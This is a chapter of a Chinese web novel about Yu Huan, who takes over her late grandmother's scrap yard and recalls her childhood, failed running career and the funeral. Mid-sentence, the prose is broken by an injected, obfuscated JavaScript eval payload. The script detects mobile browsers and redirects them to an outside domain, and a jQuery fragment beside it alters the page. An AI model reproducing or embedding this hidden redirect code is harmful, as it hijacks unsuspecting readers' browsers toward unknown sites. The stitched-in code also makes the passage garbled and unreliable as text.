于欢，00后，大学毕业，新兴废品收购站现任负责人。
在这个人人焦虑未来的年代里，于欢也算是一步到位了。
新兴废品收购站是于欢姥姥的。
于欢大四那年，姥姥去世，她便回家撑起了这间废品站。
于欢3岁的时候，父母离异，两边都不愿意要她。
是于欢姥姥站出来，把她接回了家。
祖孙俩也没什么正经的住处，姥姥经营着一个废品站，于欢从小吃住便都在这里。
新兴废品收购站，就是于欢的家。
在大多数人印象里，废品站都是又脏又乱，环境很差，可能还会有一股萦绕不去的臭味。
一般年轻人根本不会想要继承这种“祖业”。
但于欢早就习惯了这里，对它并不嫌弃。
相反，于欢觉得，废品站是一个能让她安心的地方。
新兴废品站的每一处，都充满了于欢童年的美好回忆。
小时候，自从于欢在幼儿园学会算数。
每一次附近的奶奶伯伯过来卖废品，小小的于欢都会小跑着去拿翻到毛边的记录本，一本正经的帮姥姥算钱，还用新学会的拼音有模有样的记账。
然后，于欢就会骄傲的挺起小胸脯，领取奶奶和长辈们爱的夸夸。
不忙的时候，姥姥会拿着收上来的报纸或旧书，戴上老花镜，给于欢读上面的文字。
伴着于欢期待的眼神，安静的废品站里，姥姥温暖有力的声音响起。
一忽儿讲到哪里的警察蜀黍抓住了惊天大盗，一忽儿又讲到爱吃茴香豆的孔乙己先生问：“你可知茴字有几种写法？”。
读到星期五和鲁滨逊时，于欢高兴的手舞足蹈。
读到住在雾都的小奥利弗，于欢整个人都蔫蔫的，眼睛里却亮着光。
读到“满纸写着吃人”的狂人日记，小于欢又被吓得一晚上不敢自己上厕所……
虽然姥姥读的大多不是什么童话故事，好多她还半懂不懂，但于欢可爱听啦。
下雨的日子，很少会有人来。
祖孙两个就搬着小板凳坐在正房门口，看着外面淅淅沥沥的雨，听着磁带里的老歌，吃上一块甜甜的西瓜。
因为有这样温暖的回忆，于欢一直很喜欢雨天。
于欢从来不是一个有大志向的人。
她就想吃饱不饿。
每天过这种平静、悠闲的生活。
和姥姥呆在一起，永远永远。
----------
于欢大学念的是体育专业。
于欢从小身体素质就好天。
生一双长腿，爆发力、耐力都不错。
整日在操场上跑的飞快。
淘气的像个男孩子。
小学四年级，于欢被体校的老师看中，点名招了过去。
那时候于欢的学习很好，但她并没有什么一定想做的事。
更没其他小朋友那些个当医生、科学家、宇航员的伟大理想。
有老师来学校招人，她就老老实实跟着去了。
尤其听说练的好了，学校还发钱，于欢就更愿意去了。
一同选过去的小孩子里，不少因为训练辛苦，哭唧唧的回了家。
于欢一直坚持了下来。
那之后，于欢在市里、省里陆续拿了不少大小奖项，颇有了些名气。
逐渐被体校教练视作值得培养的苗子。
就连于欢自己也这么觉得，并且一度把跑步当做了自己的未来。
可惜好景不长。
当于欢身体开始发育，她的速度陡然降了下来。
无论她怎么努力，成绩总是上不去。
终于，教练找她长谈了一次。
三线城市教育资源本就有限，于欢又是这么个情况。
她最终的结果只有一个。
父母离异之后，这是于欢经历的又一次重大打击。
姥姥亲自去体院把落寞的她接了回来。
因为大把时间都用来训练，于欢的文化课荒废了不少，甚至很不适应普通学校的生活。
于欢回到初三，从小学课本翻起，开始了漫长的追赶。
好在，姥姥一直陪在她身边。
“乖乖不怕，我们慢慢来。”
于是，无数个黑夜，于欢咬牙坚持住了。
虽然于欢已经失去了培训价值，但她毕竟底子还在。
文化课和体育成绩的双重加持下，于欢最终成功考入了京市最好的体育学校。
大学期间，于欢从来没有一天懈怠。
于欢都想好了，等她毕业之后，就回老家应聘个体育老师，长久的陪着姥姥。
以她的成绩，想必不难。
于欢没想到，就在她终于读到大四、准备联系实习学校的时候，姥姥永远的离开了她。
----------
秋日的午夜，老人安静的睡去，再也没有醒来。
若非于欢有每天往家里打电话的习惯，姥姥怕要独自在屋子里躺上许久。
唯一值得安慰的是，老人是在睡梦中离开的，没有遭什么罪。
姥姥的葬礼，是于欢自己办的。
那是一个下着绵绵细雨的日子。
阳光被厚厚的乌云遮住，天空灰蒙蒙的。
于欢第一次感受到了，那些书本中描写的，属于雨天的阴沉和压抑。
于欢没有打伞，双手稳稳抱着姥姥的骨灰盒，默默走向墓地深处。
那一天，于欢用家里仅有的积蓄买了块小小的墓地，把姥姥埋了进去。
身旁打着黑色雨伞的工作人员，是这场葬礼唯一的见证者。
骨灰盒只有两块砖头大小，小小的墓地跟它比起来倒显得宽敞许多。
于欢研究了下墓穴的坑洞，心中估摸着坑里再加一个她似乎也放得下。
为此，于欢特地咨询了工作人员墓地能不能二次开启。
许是从未接待过这样的客人，年轻的工作人员诧异了下，才点头说了句可以。
于欢当即决定，等她将来走了之后，就托人把自己的骨灰也放进去。
这样既能省钱又能和唯一的亲人长久作伴，她可太棒了。
----------
于欢有一支水果手机，是她高中毕业那年，姥姥买给她的。
于欢用东西节省，用了这许多年，水果机还干净如新。
老手机接打电话都正常，能玩一些简单的游戏，还能上网查资料。
就是内存小了些，电池也老化的过分。
每充一次电，最多能坚持个一两个小时。
既然还能用，于欢便不打算换新。
她上网买了个充电宝，手机没电了，随时可以充上。
手机充电的时候，于欢就看书。
这种东西废品收购站里有不少。
今人报
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698986|157005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
纸、杂志虽然读的少了，但废品站却总有“新货”。
比这些更多的，还有旧书、课本、学生们的练习册一类。
废品站里工具齐全，于欢闲着没事，自己用废木料做了好几排高大的书架。
上面摆满了她整理的各种书刊、杂志、报纸之类。
所有书都按照大小、类型摆的整整齐齐，于欢还用小纸条在上面标注了类目。
偌大的书房被她布置的活像个小型的旧图书馆。
废品站每天送来的书籍太多，于欢来不及每本都看，就先整理好。
不同的书积攒多了，又埋头吭哧吭哧组装书架。
没有客人的时候，于欢一有空就蹲在书房里面，每天忙的不亦乐乎。
所有书籍当中，于欢最喜欢看的就是小说、故事书。
其次是各种科学杂志。
好些内容她并不是个个都看的懂。
幸亏现在网络发达，看不明白的拿出手机查一查，总能长长见识。
所谓书房，原本是一间简陋的铁皮房。
屋内通风流畅，冬冷夏凉，但胜在空间够大。
在她们这种北方城市，铁皮房内部永远都干燥清爽，刚好适合用来放书。
姥姥原本用它来当仓房。
放些柴火、米面、于欢爱吃的小零食、耐存储的干货腊肠之类。
于欢为了她的“书房”，来回几趟把柴火全都搬去了工具房，食物就全部收进厨房。
----------
像她们这种三线城市，地广人稀，新兴废品收购站占地面积着实不小。
连带着，位于废品站最里侧的几个房子都修建的很大。
于欢住的正房一共两间。
正房左侧是工具房，紧挨着被于欢改造成书房的铁皮屋。书房再过去，就是洗手间。
正房右侧，有一间不小的厨房，里面有一个烧柴火的大灶，还有两个联排的煤气灶。
两间正房，左侧也就是东屋是姥姥的卧室，右侧则是于欢的天地。
姥姥走了之后，她的卧室于欢没有动，还维持原样，每日勤加打扫。
姥姥的卧室东西不多。
只靠里连着墙壁有一座火炕，炕稍上一只大大的实木柜子。
柜子上画着象征吉祥的花纹，表面颜色早已发黑，变得暗沉。
姥姥的遗物就放在里面。
其实也没什么，姥姥的主要“财产”只有一个铁盒子。
里面放着废品站的相关文件，一张存折，还有于欢从小到大的毕业证和各种奖状。
后来，于欢把自己的大学毕业证、身份证，还有如今只剩自己的户口本也放了进去。
铁盒子旁边还有一个看起来就十分有年头的相册。
里面放着祖孙俩的照片，还有好几张于欢妈妈小时候的照片。
幼年体的于欢妈妈手里拿着花，额头上点着大红点，笑的很好看。
她妈当年再婚之后跟姥姥闹掰，再没回来过。后来就直接失去了联系。
如今也不知人在哪里，只听说是去了南方。
至于于欢那个永远缺席的爸，当年和她那个恋爱脑的妈妈离婚之后就不知所踪了。
如今，东屋的墙上多了一张姥姥的黑白照片，下面一个小小的香炉。
每天早上，于欢打扫完卫生，会来给姥姥点上一炷香，陪她聊聊天。
然后，开始一天的工作。